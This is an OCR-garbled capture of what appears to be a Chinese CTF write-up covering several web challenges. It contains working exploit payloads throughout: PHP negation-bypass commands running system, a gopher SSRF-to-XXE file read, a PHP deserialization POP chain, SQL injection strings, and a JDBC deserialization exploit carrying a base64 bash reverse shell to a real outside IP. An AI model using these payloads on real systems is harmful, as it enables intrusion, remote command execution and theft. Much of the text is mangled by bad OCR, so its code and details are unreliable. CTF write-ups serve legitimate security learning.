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<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__ FILE_ );
telse{
$code = $_GET['code'];
if (preg_match('/(f|llalg|\.[plh[\/[5I\"[N"I\TINFINDINTINC_[=)/1",$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal’];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');

}

assert($code);

HERRSGEHMAT T

exp:

<?php

$a = "system";

$b= "cat flag.php";

echo urlencode(~%a);

echo "\n";

echo urlencode(~$b);
#(~%8F%97%8F%96%91%99%90) (); " //phpinfo

B J5 ) payload A:

?code=(~%8C%86%8C%8B%IA%I2 ) (~%9C%IE%BBADF%99%93%9E%98%D1%8F%97%8F )


https://blog.csdn.net/a3320315
https://blog.csdn.net/a3320315/category_9216195.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/a3320315/article/details/106960331
https://blog.csdn.net/a3320315/category_9216195.html

# view-source:http://121.36.74.163/?code=(~%8C%86%8C%8B%IA%%92)(~%9CIIEW%BB%DF9%99%93%9E%98%D1%68F%97%8F)

b4 <?php
$flag = "flag{ecee9b5f24f8aede87cdda?95fed079c]}’ ;

1665
073%74

do you know

XIE A H R R

H AN ) A 7 B 1% A2 5 B SSRF AT XXE
{HR B SSRF BLAT LA flag T
RS R

$poc=$_SERVER['QUERY_STRING']; #PLSXfurl fEFS, BFLlE BEL5TiTE

FrARATE R A file hill L0

toreach(p_GE| as $key=>$value)

Raw | Params | Headers | Hex
$url=svalue;

SET }
PxxX=36E%E9%¥6CTE533aYENIENIENTEVELNTINENTTRTTITTR 2L 6857456y
SCZEREAYELYEDS eyt 708 68Y T0Eyyy=3EE3 9360 ESS3aITERIEIZEYTENEL | 5eh = curl_init();

S72R2ETTRTTETTRIEL 685745 6% ECRIEL BN E L% E9% E=% 2% 70% 68570 if ($type != ‘file') {

ITTE/1.1 #add_debug_log($param, 'post_data');

fost: 121.36.64.91 /) EEA

Jser-Agent: Mozilla/5.0 (Vindows NT 10.0: Winéd; xé4; rv:77.0) curl_setopt($ch, CURLOPT_TIMEOUT, 30);

secko/20100101 Firsfox/77.0 b oelse {

Ltccept: /1 EEHEET

cext/html, application/xhtml+xml, application/xmwl;q=0.9, image/webp curl_setopt($ch, CURLOPT_TIMEOUT, 18@);

*i*rq=0.8

\ccept-Language: '

th-CH, zh;=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; g=0.3, =n; q=0.2 curl_setopt($ch, CURLOPT_LRL, $url);

tccept-Encoding: gzip, deflace curl_setopt($ch, CURLOPT_POST, true);

lonnection: close curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

Ipgrade-Insscurs-Requests: 1 curl_setopt({$ch, CURLOPT_SSL_VERIFYHOST, false);
/ & Hheader

if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

} elseif ($type == 'sml') {
curl_setopt($ch, CURLOPT_HEADER, false);

} elseif ($has_json) {
$header[] = "content-type: spplication/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, Sheader);

¥

/ curl_setopt($ch, CURLOPT USERAGENT, 'Mozilla/4.@ (compatible; MSIE 5.@1; Windows NT 5.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_AUTOREFERER, 1);

7/ dump($param);

curl_setopt($ch, CURLOPT POSTFIELDS, 3param);

J BERARATHRAKNLFIFE L

curl_setopt($ch, CURLOPT RETURNTRANSFER, trus);

71 EAER: cert 5 key BBIETH . peniiit

tres = curl_exec($ch);
var_dump($res);

string(628) "object: $m = Sthis->method: $v = Sthis->vanable: So->$m{): global $Sv: Sanswer = file_get_contents('flag php"): ob_end_clean(): } } class

B { function read() { ob_start(): global $answer: echo Sanswer: } } if{3_SERVER['REMOTE_ADDR"] == "127.0.0.1"){ die('show me your identify'):

}if (isset(S GETI') { unserialize(S GETI'T)->CaptureTheFlag(): } else { die('vou do not pass the misc):

AT LAKIIE flag 7E flag.php BH
B AB & fipayload

PXXX=%66%69%6C%65%3a%2F%2%2%76%61%72%2F%77%77%77%21%68%74%6d%6C%2%66%6C%61%67%2e%70%68%708YyYyYy=%66%69%6C%65%3a
%2F%2F%2F%76%61%72%2¥%77%77%77%2F%68%74%6d%6 %2 f%66%6C%61%67%2e%70%68%70
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L L
GET 'y />&nbsp ;&nbsp ;tnbsp ;&nbsp ; </ span><span style="color: A
J M Mxx=%EEYEO%ECYESS3as I I ES I EY TESELS TOSIESTTE TS TTS L% 6B 745 6d% a #FFE000">//&nbsp ;curl setopt($ch, &nbsp ;CURLOPT USERAGENT &nbsp:'Mozilla/4.0&nbsp; a z
B S EES B ElSETS e T0%EBST0EYYY=SEE%E0% 6% E5%3as 25252 £%76%61 (compatible :&nbsp ;MSIE&nbsp :5.01 :&nbsp ;Windows&nbsp :HNT&nbsp :5.0) ') ;<br
ST %2 T8 775 77 2L 6B TAS EAS ECS LS EESECSELSETS 223 T0%EB%70 />&nbsp ;&nbsp ;tnbsp ;&nbsp ; </ span><span style="color:
HTTR/ 1.1 H#ODOOEE">curl setopt</span><span style="color: #007700">(</span><span B
Host: 121.36.64.91 style="color: #0000BB"»$ch</span><span style="color:
User—Agent: Mozilla/5.0 (Windows Nﬂ 10.0; Wine4; xg4; rv:77.0) HOOD7700"> , &nbsp;</span><span style="color:
Gecko/Z0100101 Firefox/77.0 #OOOOEE">CURLOPT_FOLLOWLOCATION</span><span style="color:
Accept: #007700"> ,&nbsp;</spanr<span style="color: #0000EE"»1</spanr<span style="color: 1
text/html, application/xhtml+xml, applicacion/xwl; g=0.9, images/webhp H#OOD7700">) ;<br />&nbsp:&nbsp ;&nbsp;&nbsp ;</span><span style="color: 1
ST F=0.8 H#ODOOEE">curl setopt</span><span style="color: #007700">(</span><span
Accept-Language: style="color: #0000BB"»$ch</span><span style="color: ]
zh-CM, zh; g=0.8, 2h-TW; g=0.7, 2h-HK; gq=0.5,en-U5;g=0.3,en; q=0.2 HOOD7700"> , &nbsp;</span><span style="color:
Accept-Encoding: gzip, deflate #DDDDBB">CURLDPT_AUTDREFERER</span><5pan style="color: C
Connection: close #007700"> , &nbsp;</spanr<span style="color: #O0000BE">1</spanr<span style="color:
Upgrade-Insscure-Regquests: 1 H#OOD7700">) ;<br />&nbsp:&nbsp ;&nbsp;&nbsp ;</span><span style="color:
#FFE000">/ /&nbsp ;dump ( Sparam) ;<br />&nbsp ;&nbsp ;&nbsp ;&nbsp ;</span><span
style="color: #$0000BB">curl setopt</span><span style="color: E

HODTT00">(</span><span style="color: HO000BE">$ch</spans<span style="color:
#007700"> ,&nbsp ;</span><span style="color:

#OOOOBE">CURLOPT POSTFIELDS</span><span style="color: ¢
H#OOD7700">  &nbsp ;</span><span style="color: HOOODDEE">S$param</span><span
style="color: E007700">):;<br />&nbsp;&nbsp:&nbsp &nbsp;</span><span
style="color: EFFB000":>ff&nbsp :000000000000000<kr

/>&nhsp ;&nbsp ;&nbsp ;&nbsp ; </ span><span style="color:

H#ODOOEE">curl setopt</span><span style="color: #007700">(</span><span
style="color: #0000BB"»$ch</span><span style="color:

H#O07700"> ,&nbsp;</span><span style="color:
#DDDDBB">CURLDPT_RETURNTRANSFER</5pan><span style="color:
H#007700">  &nbsp ;</spanr><span style="color: #O00OOBEE">true</span»<span
style="color: #007700":) :;<br />&nbsp:&nbsp :&nbsp:&nbsp;</span><span
style="color: #FFE000">//&nbsp ;00000cert&nbsp ;0&nbsp key&nbsp 000000, pemdd<br />
<br [r<br />&nhsp :&nh &nb: Enbsp;</spanr<span style="color:
#OOOOEE">S$res&nbsp :</span><span style="color: #007700">=&nbsp:</span><span
style="color: HOOOOBB"»curl exec</spanc<span style="color:
#007700">(</span><span style="color: HOOOOBE":>Sch</span><span style="color: 5}

#007700">) :<br />&nbsp:&nbsp;&nbsp&nbsp:</span=<span style="color:
#OOODBE">var_dump</span><span style="color: #007700">(</span><span style="color:
H#OOOOBE">Sres</span»<span style="color: HO007700">) ;<br /></span>

</span>

<  EREEI2 Y
§fag="'flag{5bcObcl91d3iZ2450679866d5ddf0a346) ' ;
"
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XIB %A gopher BHT ssrf Ri% post &3R4 xxe.php
HABITRRB G —THRAE, #2H gopher HMBHITH RN, F & soap HIBKIE~~
BATE B H payload:

R EMMAHT—T

?a=1&b=1&c=gopher://127.0.0.1:80/ _P0OST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept’s
3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded%250d%250a%250d%250
adata=%25253c%25253f%252578%25256d%25256¢c%252520%252576%252565%252572%252573%252569%25256f%25256€%25253d%252522%
252531%25252e%252530%252522%252520%252565%25256e%252563%25256%252564%252569%25256€%252567%25253d%252522%252575%
252572%252565%252561%252564%252574%252566%25252d%252538%252522%25253f%25253e%25250a%25253¢c%252521%252544%25254f%
252543%252554%252559%252550%252545%252520%252578%252565%252520%25255b%25250a%25253¢c%252521%252545%25254¢c%252545%
25254d%252545%25254e%252554%252520%25256e%252561%25256d%252565%252520%252541%25254e%252559%252520%25253e%25250a%
25253¢%252521%252545%25254e%252554%252549%252554%252559%252520%252578%252565%252520%252553%252559%252553%252554%
252545%25254d%252520%252522%252570%252568%252570%25253a%25252f%25252f%252566%252569%25256c%252574%252565%252572%
25252f%252572%252565%252572%252565%252561%252564%252561%252564%25253d%252563%25256%25256e%252576%252565%252572%
252574%25252e%252562%252561%252573%252565%252536%252534%25252d%252565%25256e%252563%252561%252564%252565%25252 %
252572%252565%252573%252561%252575%252572%252563%252565%25253d%252566%25256¢%252572%252565%252561%252564%252561%
252567%25252e%252570%252568%252570%252522%252520%25253e%25255d%25253e%25250a%25253¢c%252572%25256f%25256f%252574%
25253e%25250a%25253¢c%25256€%252561%25256d%252565%25253e%252526%252578%252565%25253b%25253¢c%25252f%25256e%252561%
25256d%252565%25253e%25250a%25253¢c%25252%252572%25256%252561%252574%25253¢e

1. HEM— TR —#2

gopher://127.0.0.1:80/_P0OST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAcceptk3a*/*%250d%
250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded

EELIAEHENR O, BN gopher i iE A 3|



BT gopher ThifEH /A HIFHMES KB —NF2RERE, FIURMNEMEMN— _, RAEEHESEL
BATERE0E — AN BRI R T

—

POST Sxxe.php HTTR/L.1

Host: 121.36.£64.91

User-Agent: Mozilla/5.0 (Windows NT L10.0; Wingd4; x€4; rv:77.0) Gecko/IZ0100101 Firefox/77.0
Aocept: textfhtml,applibationthtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Aocept-Language: zh-CHN, zh:oq=0.8, 2h-TW:c=0.7, 2h-HE; =0.5,en-0U3;q=0.3,en;q=0.2
becept-Encoding: gzip, deflate

Referer: http://121.3€.64.91/xxe.php

Content-Type: application/x-www-form-urlencodsd

Content-Length: £11

Origin: http://121.36.64.91

Connection: close

Upgrade-Insecure-Requests: 1

BHWLZHIERL, HERE 2 RBIH

LTS — 359 T AU R R HOUNGES CIEHAT vodvea , T L)L ZA % HEAT — WD)
POST /xee.php HTTP/1.1

HOST:127.0.0.1:80

Accept:*/*

Content-Length:611

Content-Type:application/x-www-form-urlencoded

POSTAR A BRI 5, BUE TRk E1H B4 %0d%0a

BREBASBEENMITRT, B2 LmEE Content-Length: 611 [ # fi#

o

IXA™ Content-Length:611 R~ &% BUHE 1K/
BIIBEMPOST data=xxx , M Content-Length A8 , FAARMATH D WufD, HAHKBAIRE NI datamooc, FF
PAA BHERATHAT 2 RurlZmty, (HRIREZZHIERRE IR, XHZ content-Length FI{EF

BAVAEIXIE B H LRt 2 gopher 4T xxe i, AR FEH gopher RiE—ABEEREUCCHAR xml T EBATLLT, 1M HSZprE
HE i, WESRLTHMT T, ArCABEER SR SCHFR xml 0 F

<?xml version="1.0" encoding="ureadtf-8"?>

<!DOCTYPE xe [

<!ELEMENT name ANY >

<IENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]>
<root>

<name>&xe;</name>

</root>

RILEA AN REERNA

BAVETEKE NN FEARER T EE O KE, XRFA EEKNFRE — SRR TERF, MiX Rk A LR X, 6
&

BEBRMATEEXHKE, NWATRITEA url 4, ARG SSESS T H SCHI#E R

B4 Al xxe.php & K% M HHE N data=<?xml version="1.0" enco.... XEMSE SRS, MAREREHEITE

E A B A2 -

1. X} payload C(BJ xml) FrCAFZFFHEAT url 4ahl, HHERIBERKE, B LEAxmIgiLEKEARN606, Nt data=, BKE
N 610

2. SEIEHALJE R NFE data= K5 TH

3. HEAE burpsuite BHGID (RITRFRFRAgASEITT, B %, BN GeT HEHEKERE], WRHFIDRKKAREREFER) (B
IR, BIEX xml =R, FRRATKIEE R W A 5 % — K1Y, )5 gopher KIEFIE BT —Ik, FTLAR
BHRIB=IK, Fi& xxe.php KRS R xml F—RWIGZEHREIE, BN EERPCEHE, A BUEE xnl , WRRLITRHE



T, REEZR, X HRHSRHRFRHD
4. burpsuite X ¢ 5k 7 R gn s (1) Hh 7

ZEDaContent-Typesdaapplication/x-www—form—ur lencoded%250d%250a%250d% 2 50adata= HULL
%25253c%25253F%252578%25250d%25256c%252520%25257R%2525655%252572%252573%252569 [Equot ;nod:
2Ny e Es o L L L e S D O e A N E2e%252530%2525225252520%252565%2 5256 int(9)
%257 Scan 5ET7%25253d%252522%252575%252572%252565 [&quot :par:
%254 S53B%252522%25253f%25253e%25250a%25253¢ HULL
525  Send to Intruder Ctil+l  |ocoy252550%252545%252520%252578%252565 [&gquot ;chi:
5251  Sendto Repeater Ctrl+R [545%25254c%252545525254d%252545525254= string(22)
%254 SE5%252520%252541%25254e%252559%252520 [&quot :Eir:
%257 Send to Sequencer 54e%252554%252540%252554%2525595%252520 string(22)
13257 Send to Comparer 553%252554%252545%25254d%252520%252522 [&quot :las-
%254 S52f5%2525065252509%252560%252574%252565 string(22)
%251  Send to Decoder S5E5%252561%252564%252561%252564%25253d [Equot ;pre
%254 Show response in browser 572%252574%25252e%252502%252501%252573 HULL
15254 } SEe%2525603%25256E%2525R04%252565%25252F [&Equot :nex
%254 REqUEST in browser P I572%2525F3%252565%525253d% 252566525256 HULL
%254 T > SE7%25252e5252570%25256B%252570%252522 [&quot ;att:
%254 gag 53c%252572%25250T%25250T%252574%25253e HULL
%251  Change request method 565%25253e%252526%252578%252565%25253b [&quot ; ownu
%253 i S5ES5%25253e%25250a%25253c%25252£5252572 WULL
1251  Change body encoding [&quot :nam
Host C,:,py URL HULL
Usex 0; Wingd4; =64; rv:77.0) [Egquot ;pre:
Gec Copy as curl command string(0) I
by CDW to file [Eguot ;1oc.
text tion/xml;q=0.9, image/webp, */*;q=0.8 HULL
Locd Paste from file =0.7, zh-HE;=0.5,en-0U3;q=0.3,en;cq=0.2 [&gquot ;has:
Aooy Save item string(14)
Cont [Egquot ;tex
Upgy Save entire history string(74)
PDO9waHAKJGE S
Paste URL as request Equot ;
Add to site map
Convert selection > ]
URL d " URL-decode Ctrl+Shift+U
-encode as you type -
HTML @l URL-encode key characters Ctrl+U
Cut Ctrl+X
Basebd » | URL-encode all characters
Co Ctrl+C : .
- Construct string  ® | jR) encode all characters (Unicode)
Paste Ctrl+V
Message editor documentation IL
v
Burp Repeater documentation - 5 J
N P A o
ARG RA
| Send | | Cancel || <|v || >|¥ Target: http://121.36.64.91 7 @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
GET A [&quot ;nodeName&gquot ;]=&gt ;
/?a=leb=lee=gopher://127.0.0. 1:80/_POST%2520/xxe. phps2520HTTP/ L. 1%250d%250aHo P string(9) &quot :Hdocument&guot: r

st%3all7.0.0.1%3a80%250d%250akcoepts3ar/ *5250d5250aContent-Length%3a6115250d%
250aContent—Types3aapplication/x-www—form-urlencodeds250d%250a%250ds250adata=

%25256f%25256e%
%252563%25256T%

S5Z0%252578%252565
2545%25254d%252545%25254e
%252554%252520% 541%25254e%252559%252520
%25253e%25250a%2
%25257B8%252565%252520%252553%2
$252570%25256B%252570%25253a%2
%252572%25252F%252572 565
%252563%25256f%25256e%252576%2
%252565%2525368%252534%2

2561%252564%252561%252564%25253d
252574%25252e%252562%252561%252573

ago

%25250a%25253c%25256e%252561%2
%25253c%250252f%25256e%252561%2525064d5%2
%25256f%25256€%252574%25253e HTTP/ L. L
Host: 1I1.36.€4.51

User—Agent: Mozilla/5.0 (Windows NT 10.0:
Gecko/ 20100101 Firefox/77.0

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;g=0.7, sh-HK; g=0.5,en-U3;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connesction: close

Upgrade-Insecure-Requests: 1

Wine4:; xe4; rv:77.0)

[&quot ;nodeValuekguot ;]=&gt ;
NHULL
[&quot :nodeTypebhgquot ;]=&gt ;
int(9)
2%252575%252572%252565 [&guot ;parentNode&gquot ;]=&gt ;
53f%25253e%25250a%25253¢c NULL

Z563%25256F%202564%2525655%25252F [&quot ;nextSibling&gquot ;]=&gt
2%252563%252565%25253d%252566%252560 NULL
52e%252570%25256B%252570%252522 [&quot ;attributes&gquot ;]=&gt;

T2% S56f%25256f%252574%25253e HWULL

2565%25253e%252526%252578%252565%252530 [&quot ;ownerDocument&guot ;]1=&gt ;
2565%25253e%25250a%25253¢c%25252£%252572 NHULL

[&yuot :namespaceURI&gquot ;]=&gt ;

NULL

[&¢quot ;childHodes&kquot ;]=&gt

string(22) &gquot:{object value omitted)&guot:
[&quot ;firstChild&guot ;]=&gt;

string(22) &gquot;{object value omitted)&guot;
[&yquot ;lastChild&guot :]=&gt ;

string(22) &quot:(object value omitted)&quot;
[&quot ;previousSibling&gquot :]=&gt ;

NULL

[&quot ;prefixkguot :]=&gt

string(0) &guot ;&guot:

[&quot ;localllame&kgquot ; ]=&gt ;

HWULL

[&quot ;baseURI&quot ;]=&gt ;

string(14) &quot:/var/www/html/&quot ;

[&quot ;textContent&oquot ;]=&ygt ;

string(74) &quot;
PDO9waHAKIGZsYWc 9T 2Z sYWATHWIFMGT M ke ZDMyM] Q1IMDY3 0T g 2¥m) 1 ZGRmMGEzNDZ9T zsK
&quot ;
i

14
</pres
</div>




45 R BEAT basees FRISER T LIS R flag T

l
=?php
||| $flag="flag{5bcObc291d322450679866d5ddf0a346];
J
zzm'’s blog

XR—IE java L H
BT xml, BERH



<dependencies>

<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.9.0</version>

</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>

</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>

</dependency>

<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.15</version>

</dependency>

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>

</dependency>

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.8</version>

</dependency>

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.8</version>

</dependency>

RIEMR—IAKAE, RERDT XA
https://github.com/fnrmsd/MySQL_Fake_Server

LA SR
HEFHRBREPERE, FEYE T BAMNE
B config.json
{

"fileread":{

"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd"”,
"linux_hosts":"/etc/hosts",
"index_php":"index.php"

¥

"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections1":["CommonsCollectionsl","curl http://129.204.207.xxx:9002/asd"],

"Commonsollections6":["CommonsCollections6","curl http://129.204.207.xxx:9002/asd" ]

}



TR TEBysomtiT T, BIRFFIL, ZARIEMYSQLAR S ik XXM Mjava iy 1Z 7 FIL AN ThaE 4 & £ — R 1, Bl
AR T EKysotAT

1. vps_LIiB4T python3 server.py
2. vps_E¥EHr9002%s 0

B % iipayload:

"id":["com.mysqgl.cj.jdbc.admin.MiniAdmin", " jdbc%3amysql%3a//129.204.207 .xxx%3a3306/test%3fautoDeserialize%3dtru
e%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor¥%26user%3dyso_CommonsCollectio
ns6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjAOLjIwNy54eHgvOTAWMiAwPiYxCg==}|{base64,-d}|{bash,-i}"

bash -1 >& /dev/tcp/129.204.207.114/9002 0>8&1

bash’%20-c%20{echo, YmFzaCAtaSA%25%32%62J1AvZGV2L3RjcC8xMjkuMjAOLJIwNy54eHgvOTAWMiAWPiYXCg base64, -d bash, -i

RHEMERERH shell T

: Fri Jun 26
-ubuntu

Listening
Connection = . comput
sh: cann t s group (1): Inappropriate ioctl for

% cd ftmp
cd
ctf@dfeadsaiclad: /ftmpd 1s
1s

evlil
flag_keowpijkogeew

%%?Uflag

RIEBTC Ak, RAARABITA, B BN TH mR & ~~

[

H
BEVH, REHMA—MENE, HERERAE kiR Rk

BHAREZEANITUEES S ER

WA PATEMR )Ly HiSR, Sk, SIA > < = like regexp ZHHEBFF S
X)LIERTBAA in R0t

MR

select substring("xxx" from 1 for 1) in("x


http://www.jackson-t.ca/runtime-exec-payloads.html

FEIRE 1, REHEEE sleep B LA EER H K

om 1 for

ESI¥EH substring Geit

XJURAMEARFS T
SRJGTE daochu.php HIEH —NAREEMILIKMSQLEN, FHERE

payload:

’type=1&imei="union%20select%201, 2,3, (select%20hints%20from%20hint),5,6%23&imei2=xxx

Gl

table border="1"><tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th tr><tr><td>see_the_dir_956cll
Pef9decdd920249f5fed9ed427</td><td>6</td><td>2</td><td>3</td tr table

RIEHNEF—RERLE, MAMBEFR—HKEE, HEERZEA LAV ElibH Kiphpscf, KRS
lib\webuploader\0.1.5\server\preview.php

AREVEAN AR T lag, RIERNG BRI TG G LA, BN RE IR KR ~~



SEREER __destruct
il Ae vendor » symfony » routing > Loader > Configurator > ImportConfigurator.php > % ImportConfigurator > & _ destruct
_ destruct AT LAOS AK  T R TR Y Y -

Symfony\Component\Routing\RouteCollection;

public function __destruct()
CallCenter.php vendor\phpspec... (1
if ('_destruct' === $methodMame || 0 ... Impo r*'tCon'Figu rator
ClassMirmor.php vendor\phpspe... (1
[eii s Traits\RouteTrait;
Stream.php vendor\phpunitiphp...
public function __destruct()
AutoCompleter.php vendor $P3 rent;
public function __destruct()
CTEAPTD 20 W __construct( $parent,
public function __destruct()

TemporaryFileByteStream.php ...
public function __destruct() ->parent = $Par‘ent;

DiskKeyCache.php vendor\swift... ->route = $route;
public function __destruct()
SimpleMimeEntity.php vendori..
public function __destruct()
AbstractSmtpTransport.php ve
public function __destruct()
TestHttpServerphp vendorisym... ->parent->addCollection( ->route);
public function BEESIER0 hitps:/blog.csdn.net/a3320315
DumpDataCollector.php vendo...

__destruct()

REAE, $parent Ml $route HR TN, ABARMIFTLAGLE IR _ call B
4k S5 PR EE | Generator. php
Generator.php X

vendor > fzaninotto » faker > src > Faker >
-

__get($attribute)

return ->format($attribute);

__call($method, $attributes)

->format($method, $attributes);

https://blog.csdn.net/a3320315




RIGHREEEE $this->Format

Generator.php X

mt_srand((int) $seed);
} else {
mt_srand(( ) $seed, MT_RAND_PHP);

format($formatter, $arguments = array())

return call_user_func_array( ->getFormatter($formatter), $arguments);

Callable
getFormatter($formatter)

if (isset( ->formatters[$formatter])) {
return ->formatters[$formatter];

oreach ( ->providers as $provider) {
if (method_exists($provider, $formatter)) {
->formatters[$formatter] = array($provider, $formatter);

return ->formatters[$formatter];

\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
https://

M H $this->formatters AI#%, A LM HIcall user func_arrayfI B/~ S HER AT % o
BN

¢ \Symfony\Component\Routing\Loader\Configurator\importConfigurator

e \Faker\Generator

payload:



<?php
namespace Faker{
class Generator{
function _ construct(){
$this->formatters = ["addCollection"=>"system"];
¥
¥
¥
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
function _ construct(){
$this->parent =new \Faker\Generator();
$this->route = "dir";

}

namespace{
$a = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator();
echo serialize($a );

}

(-‘ @ 127.0.0.1/source/public/index?p=0:64:"Symfony\Component\Routing\Loader\Configurator\lmportConfigurator™:2:{s:6:"parent";0:15:"Faker\Generator":1:{s:10:"forma GEas c A m=<crk- Reall

SQL. XSS Encryption: Encoding: Other

= Load URL
U split URL

2 Egseuis

[ Erbls Yogidats [ Eminilo Raianar
90009060 D 0cl009 04%6 9900 009K9 9§ 3A47-ES1E DAsoft\phpstudy\PHPTutoria\WWWhsource\public ¢ L:¥4 2020/08/24 16:17

. 2020/08/24 16:17
.. 2019/02/27 00:41 593 .htaccess 2020/08/24 16:17
css 2019/02/27 00:41 0 favicon.ico 2019/02/27 00:41 1,823 index.php 2020/08/24 16:17
js 2019/02/27 00:41 24 robots.txt 2020/08/24 16:17
svg 2019/02/27 00:41 1,194 web.config 5 ¢ € ¢4 3.634 &6 5 €614 366,859,874,304 ¢ 9 €€ & There is an param names p (get)
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